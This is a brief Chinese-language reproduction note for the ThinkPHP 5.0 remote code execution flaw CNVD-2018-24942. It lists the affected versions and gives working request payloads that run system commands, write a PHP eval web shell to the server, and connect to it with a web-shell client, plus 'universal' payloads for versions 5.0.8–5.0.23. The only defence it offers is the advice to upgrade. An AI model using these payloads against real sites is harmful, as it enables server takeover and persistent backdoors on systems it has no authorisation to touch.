thinkphp-cnvd 2018 24942

影响范围

ThinkPHP 5.0.全版本

5.0.13~5.0.19的，这些版本默认情况下config中的app_debug配置项为false，需开启才能存在此漏洞。

漏洞复现

1.访问地址

2.远程代码执行

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

3.上传一句话木马

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[cmd])?%3E

4. 通过蚁剑连接

 5.查看文件

通杀payload

版本号：5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
​
版本号：5.0.20~5.0.23
payload：_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami

漏洞防御

升级版本！！！